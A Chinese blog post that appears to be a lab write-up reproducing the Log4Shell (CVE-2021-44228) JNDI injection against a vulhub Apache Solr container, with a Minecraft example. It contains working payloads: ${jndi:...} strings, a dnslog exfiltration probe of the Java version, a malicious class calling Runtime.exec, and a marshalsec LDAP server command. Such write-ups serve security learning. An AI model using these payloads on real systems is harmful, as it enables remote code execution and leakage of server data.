log4shell


Log4j 2.x:

  • Log4j 2.x 版本在 2021 年发现了一个严重的 JNDI 注入漏洞(CVE-2021-44228),也称为 Log4Shell 漏洞。该漏洞允许攻击者通过 JNDI 查找恶意代码来远程执行代码,影响范围广泛。这个漏洞在 Log4j 2.0 到 2.14.1 版本中存在,并已在 2.15.0 及后续版本中得到修复

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码

JNDI简单介绍

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

image.png

漏洞验证:

一般来讲log4j的漏洞,是一种严重的漏洞,因为他覆盖面广,使用广泛,因此可以看到我们对于log4
j,一般都是在一些大型的服务器上的安装的组件的上面去验证。

漏洞分析:

最主要还是 log4j 可以通过特定的形式例如:${}来进行一个查询替换的功能,例如我们的环境变量。因此还可以暴露敏感信息。但是他不仅可以查找变量进行替换还可以使用 ,jndi的查询服务可以查询目录和命名服务。之后就可以利用rmi或者ldap去访问我们的web服务器上的相关class文件,下载之后执行再反弹shell回到我们的攻击机器。

以minecraft为例

Minecraft服务器是专门为Minecraft游戏设计的,它们允许玩家在Minecraft游戏中进行多人游戏和互动。这些服务器使用特定的Minecraft服务器软件来运行,这些软件是为支持Minecraft游戏而开发的。具体来说,Minecraft Java Edition使用的服务器软件称为Minecraft: Java Edition Server,而Minecraft Bedrock Edition(如手机版、Windows 10版等)使用的服务器软件称为Minecraft Bedrock Edition Server。

因此,Minecraft服务器不是通用的服务器,不能像一般的Web服务器或游戏服务器那样用于其他用途。它们专门设计用于运行Minecraft游戏,管理游戏世界、玩家互动和游戏规则。

因此我们需要一个相应版本的启动器。然后连接服务器在游戏中输入我们的payload。${jndi:ldap:ip/a} 下载对应的web服务器上的payload从而getshell

不同服务器

不同环境依赖,不同服务器对于log4j 记录接口是不一样的。因此可能触发点虽然都是${}但是我们输入的位置和接口不一样,要随机而变。

漏洞复现

根据vulhub 官方给出的漏洞环境进行复现。
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

1
docker compose up -d

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。可以看到这就是
Apache Solr 是一个可以作为服务运行的应用程序。它通常以服务器模式运行,接受来自客户端的搜索请求,并返回搜索结果。Solr 提供了一个 HTTP 接口,可以通过 RESTful API 进行操作。这使得 Solr 可以方便地与其他应用程序集成,通过 Web 请求进行数据索引和搜索查询。

Solr 还支持配置为集群模式,以处理大规模的数据和高负载的搜索请求。它具有许多功能,如分布式搜索、实时索引、负载均衡和自动故障转移,适用于大规模和高性能的搜索需求

验证

一般验证都是用dnslog

1
${jndi:dns://${sys:java.version}.example.com}

在 Log4j 中,${sys:java.version} 是一种使用变量替换的语法,用于在日志配置文件中插入动态值。

  • ${sys:java.version} 是一个占位符,表示 Log4j 会用实际的系统属性值来替换它。
  • sys 表示这是一个系统属性的占位符。
  • java.version 是要替换的具体系统属性的名称。

在这个例子中,java.version 是一个 Java 系统属性,它包含了当前运行的 Java 版本信息。Log4j 会在解析配置文件时用这个系统属性的实际值替换 ${sys:java.version}

image.png
此时我们的环境已经起来了,可以看到这个就是solar admin系统。我们需要找到log4j记录的地方,

核心

在 Apache Solr 中,/solr/admin/cores 是 Solr 的一个管理路径,用于操作和管理 Solr 的“cores”(核心)。以下是这个路径的主要用途:

主要功能

  1. 列出核心:

    • 访问 http://<host>:<port>/solr/admin/cores?action=STATUS 可以查看当前 Solr 实例中的所有核心及其状态。
  2. 查看核心状态:

    • 提供核心的运行状态、配置信息和统计数据,帮助监控和管理 Solr 的各个核心。
  3. 管理核心:

    • 通过这个路径,你可以执行各种管理操作,比如重新加载、卸载、创建新核心等。例如:
      • http://<host>:<port>/solr/admin/cores?action=RELOAD&core=<core_name> 用于重新加载指定核心。
      • http://<host>:<port>/solr/admin/cores?action=UNLOAD&core=<core_name> 用于卸载指定核心。

示例使用

  • 列出所有核心:

    Copy Code

    http://<host>:<port>/solr/admin/cores?action=STATUS

    这将返回一个 JSON 格式的响应,包含所有核心的详细状态信息。

  • 重新加载核心:

    Copy Code

    http://<host>:<port>/solr/admin/cores?action=RELOAD&core=my_core

    这将重新加载名为 my_core 的核心,适用于配置变更后需要重新加载核心的情况。

如何访问

确保 Solr 实例正在运行,并且你能够通过指定的主机和端口访问 Solr。访问 /solr/admin/cores 可以帮助你进行核心的监控和管理工作,是 Solr 系统管理中的重要一环。

Solr 的查询记录和其他重要事件通常会被记录在 log4j 日志中。Solr 使用 log4j 进行日志记录,具体的日志记录位置和详细程度可以通过 log4j 配置文件进行设置。查询记录、错误信息、系统状态等会被写入到指定的日志文件中,帮助你监控和调试 Solr 实例。通过这一点,我们可以触发${}进行替换触发。

利用链

dnslog验证
1
/solr/admin/cores?action=${jndi:dns://${sys:java.version}.45046de8.log.dnslog.biz.}

image.png
很明显利用成功。
既然证明存在现在我们的想法肯定是想利用ldap服务器进行一个rce,因为jndi查询服务不仅可以查询dns服务还可以查询ldap服务。ldap又可以访问我们的web服务。从而让服务器下载对应的恶意web
java class文件从而执行

rce
准备恶意文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.com.test;  
import java.io.IOException;

public class log4j {
public static void main(String[] args){
log4j exploit = new log4j();
}

public log4j(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

  1. Runtime.getRuntime().exec("calc");:

    • Runtime.getRuntime() 返回当前应用程序的运行时对象,该对象允许应用程序与运行环境进行交互。
    • exec("calc") 方法用于执行指定的系统命令。在 Windows 操作系统上,"calc" 是启动计算器的命令。因此,这行代码试图启动计算器应用程序。
    • 如果你在其他操作系统上运行这个代码(比如 macOS 或 Linux),"calc" 可能不会有任何效果,因为计算器的命令在不同操作系统上是不同的。
  2. catch (IOException e):

    • IOException 是一个异常,表示在输入或输出操作中发生了问题。在这里,它用于捕获 exec 方法可能抛出的异常(例如命令无法执行或文件无法找到)。
    • e.printStackTrace(); 用于打印异常的堆栈跟踪,以帮助调试和找出错误的具体

image.png

image.png
先开启一个web服务 ,之后利用工具创建ldap服务器之后开始攻击。

准备ldap

我们需要使用jndi找到ldap服务,之后使用ldap的功能去访问我们的web服务器。

完事具备就差ldap服务器 **开启LDAP服务
1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:1234/#log4j 1389

这个可以直接确定ldap端口和ldap响应的url
image.png
我们必须在class文件中省略 class后缀只能用#名字
Listening on 0.0.0.0:1389
已经启动此时我们需要直接触发链条

***payload

1
/solr/admin/cores?action=${jndi:ldap://127.0.0.1:1389}

文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录